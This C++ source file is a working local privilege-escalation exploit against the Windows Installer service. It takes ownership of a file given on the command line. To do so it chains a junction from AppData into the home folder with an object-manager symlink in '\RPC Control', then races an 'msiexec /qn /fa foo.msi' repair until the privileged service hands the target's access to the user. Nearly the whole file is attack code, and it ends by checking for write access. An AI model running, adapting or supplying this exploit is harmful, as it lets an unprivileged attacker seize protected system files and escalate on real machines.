#include "stdafx.h"
#include "FileOpLock.h"
#include "ReparsePoint.h"
#include <string>
#include <sddl.h>
#include <iostream>
#include <Windows.h>
#include "CommonUtils.h"
#include "ntimports.h"
#include "typed_buffer.h"
#include <chrono>
#include <thread>
#include <filesystem>
#include <iostream>
#include <fstream>  
#include "Shlwapi.h"
#include "shlobj.h"

#pragma comment( lib, "shlwapi.lib")

const char* targetfile;
char buffermsi[1024];

bool bSuccess = false;

wchar_t appDataFilePath[MAX_PATH];
wchar_t appDataDirPath[MAX_PATH];


std::wstring targetfw;
std::wstring targetfwDos;

std::wstring s2ws(const std::string& str)
{
	int size_needed = MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);
	std::wstring wstrTo(size_needed, 0);
	MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
	return wstrTo;
}

bool DoesFileExist(LPCWSTR lpszFilename)
{
	DWORD fileAttr = GetFileAttributes(lpszFilename);
	DWORD lastErr = GetLastError();
	return ((fileAttr != INVALID_FILE_ATTRIBUTES)
		&& (lastErr != ERROR_FILE_NOT_FOUND));
}

bool dirExists(LPCWSTR dirName_in)
{
	DWORD ftyp = GetFileAttributes(dirName_in);
	if (ftyp == INVALID_FILE_ATTRIBUTES)
		return false;  //something is wrong with your path!

	if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
		return true;   // this is a directory!

	return false;    // this is not a directory!
}

HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname)
{
	DEFINE_NTDLL(RtlInitUnicodeString);
	DEFINE_NTDLL(NtCreateSymbolicLinkObject);

	OBJECT_ATTRIBUTES objAttr;
	UNICODE_STRING name;
	UNICODE_STRING target;

	fRtlInitUnicodeString(&name, linkname);
	fRtlInitUnicodeString(&target, targetname);

	InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);

	HANDLE hLink;

	NTSTATUS status = fNtCreateSymbolicLinkObject(&hLink,
		SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
	if (status == 0)
	{
		//DebugPrintf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink);
		return hLink;
	}
	else
	{
		SetLastError(NtStatusToDosError(status));
		return nullptr;
	}
}

bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname, bool isNative)
{
	std::wstring full_linkname = BuildFullPath(linkname, true);
	size_t len = full_linkname.size() * sizeof(WCHAR);

	typed_buffer_ptr<FILE_LINK_INFORMATION> link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));

	memcpy(&link_info->FileName[0], full_linkname.c_str(), len);
	link_info->ReplaceIfExists = TRUE;
	link_info->FileNameLength = len;

	std::wstring full_targetname;
	if (!isNative)
	{
		full_targetname = BuildFullPath(targetname, true);
	}
	else
	{
		full_targetname = targetname;
	}

	HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0);
	if (hFile)
	{
		DEFINE_NTDLL(ZwSetInformationFile);
		IO_STATUS_BLOCK io_status = { 0 };

		NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation);
		CloseHandle(hFile);
		if (NT_SUCCESS(status))
		{
			return true;
		}
		SetNtLastError(status);
	}

	return false;
}


DWORD WINAPI MyThreadFunction(LPVOID lpParam)
{
	
	int i = 0;
	while (TRUE)
	{

		if (!PathFileExists(appDataFilePath))
		{
			printf("[+] IN 1\n");

			while (TRUE)
			{
				if (PathFileExists(appDataFilePath))
				{

					if (!ReparsePoint::CreateMountPoint(appDataDirPath, L"\\RPC Control", L""))
					{
						printf("[+] Big Faiiilll \n");
					}

					printf("[+] OUT -> junction created \n");

					break;
				}
				else
				{
					continue;
				}
			}

			break;
		}
		else
		{
			continue;
		}

	}
	return 0;
}

DWORD GetNumCPUs() {
	SYSTEM_INFO m_si = { 0, };
	GetSystemInfo(&m_si);
	return m_si.dwNumberOfProcessors;
}

HANDLE *m_threads = NULL;

void runme() {

	/*DWORD c = GetNumCPUs();
	m_threads = new HANDLE[c];
	for (DWORD i = 0; i < c; i++) 
	{
		DWORD m_id = 0;

		m_threads[i] = CreateThread(NULL, 0, MyThreadFunction, (LPVOID)i, NULL, &m_id);
		SetThreadPriority(m_threads[i], THREAD_PRIORITY_HIGHEST);
		wprintf(L"Creating Thread %d (0x%08x) Assigning to CPU 0x%08x\r\n", i, (LONG_PTR)m_threads[i], THREAD_PRIORITY_HIGHEST);
		//WaitForSingleObject(m_threads[i], INFINITE);
	}*/

	HANDLE mThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);
	SetThreadPriority(mThread, THREAD_PRIORITY_TIME_CRITICAL);

	char buffer[1024];
	sprintf(buffer, "msiexec /qn /fa foo.msi ");
	printf("[+] Executing \"%s\" \n", buffer);
	system(buffer);

	WaitForSingleObject(mThread, INFINITE);

	/*for (DWORD i = 0; i < c; i++)
	{
		WaitForSingleObject(m_threads[i], INFINITE);
	}*/
}

int main(int argc, const char * argv[])
{

	if (argc < 2) {
		printf("Usage: %s <file_to_own> \n", argv[0]);
		exit(1);
	}

	targetfile = argv[1];
	std::string targetf(targetfile);
	targetfw = L"\\??\\" + s2ws(targetf);
	targetfwDos = s2ws(targetf);

	const wchar_t* targetfww = targetfw.c_str();

	if (!PathFileExists(targetfw.c_str()))
	{
		wprintf(L"[-] File %s does not exist \n", targetfw.c_str());
		return 0;
	}

	//FOR DEBUG
	//wprintf(L"[+] targetfw %s \n", targetfw.c_str());
	//wprintf(L"[+] targetfwDos %s \n", targetfwDos.c_str());

	// C:\Users\[USER]\ user home directory
	// userHomePath -> C:\Users\[USER]\foomsi
	WCHAR userHomePath[MAX_PATH];
	if (!SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, 0, userHomePath)))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}
	if (!PathAppend(userHomePath, L"foomsi"))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}
	

	// CSIDL_LOCAL_APPDATA -> C:\Users\[USER]\AppData\Local
	HRESULT result = SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appDataFilePath);
	if (result != S_OK)
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}
	// appDataFilePath -> C:\Users\[USER]\AppData\Local\fakemsi\foo.txt
	if (!PathAppend(appDataFilePath, L"fakemsi\\foo.txt"))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}


	// appDataDirPath
	result = SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appDataDirPath);
	if (result != S_OK)
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}
	// appDataDirPath -> C:\Users\[USER]\AppData\Local\fakemsi
	if (!PathAppend(appDataDirPath, L"fakemsi"))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}

	printf("[-] Removing and creating temporary directory \n");
	wchar_t bufferSystem[1024];
	wsprintf(bufferSystem, L"rd /s /q %s 2>NUL", userHomePath);
	_wsystem(bufferSystem);

	wsprintf(bufferSystem, L"md %s", userHomePath);
	_wsystem(bufferSystem);

	wsprintf(bufferSystem, L"rd /s /q %s 2>NUL", appDataDirPath);
	_wsystem(bufferSystem);

	wsprintf(bufferSystem, L"md %s", appDataDirPath);
	_wsystem(bufferSystem);

	//wprintf(L"[+] Fullpath is %s \n", appDataDirPath);
	
	wprintf(L"[+] Creating mountpoint from %s to %s \n", appDataDirPath , userHomePath);
	if(!ReparsePoint::CreateMountPoint(appDataDirPath, userHomePath , L""))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}

	wprintf(L"[+] Creating symlink %s in \\RPC Control\\foo.txt \n", targetfww);
	HANDLE hret = CreateSymlink(nullptr, L"\\RPC Control\\foo.txt", targetfww);
	if ((NULL) == hret || (hret == INVALID_HANDLE_VALUE))
	{
		printf("[-] Failed creating symlink index %d ", GetLastError());
		return 0;
	}

	// msi product file to remove/install/configure
	// remove eventually msi package
	sprintf(buffermsi, "msiexec /qn /x foo.msi ");
	printf("[-] Removing msi package \"%s\" \n", buffermsi);
	system(buffermsi);

	// install msi package
	sprintf(buffermsi, "msiexec /qn /i foo.msi ");
	printf("[+] Installing msi package \"%s\" \n", buffermsi);
	system(buffermsi);

	printf("[*] Now waiting .... \n");

	// core thread
	runme();

	//FOR DEBUG
	sprintf(buffermsi, "icacls \"%s\" ", targetfile);
	printf("[+] ACL on target file %s \n", buffermsi);
	system(buffermsi);

	HANDLE h = CreateFile(targetfwDos.c_str(),
		GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, //0, // 
		0,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		0);

	if (h == INVALID_HANDLE_VALUE)
	{
		//g_last_error = GetLastError();
	}
	else
	{
		printf("[!] Exploit seems to work... \n");
	}

	wprintf(L"[-] Deleting mountpoint %s \n", appDataDirPath);
	ReparsePoint::DeleteMountPoint(appDataDirPath);
	printf("[>] Exiting... take care by @padovah4ck \n");

	//printf("[-] Press any key to continue... \n");
	//getchar();

	return 0;
}

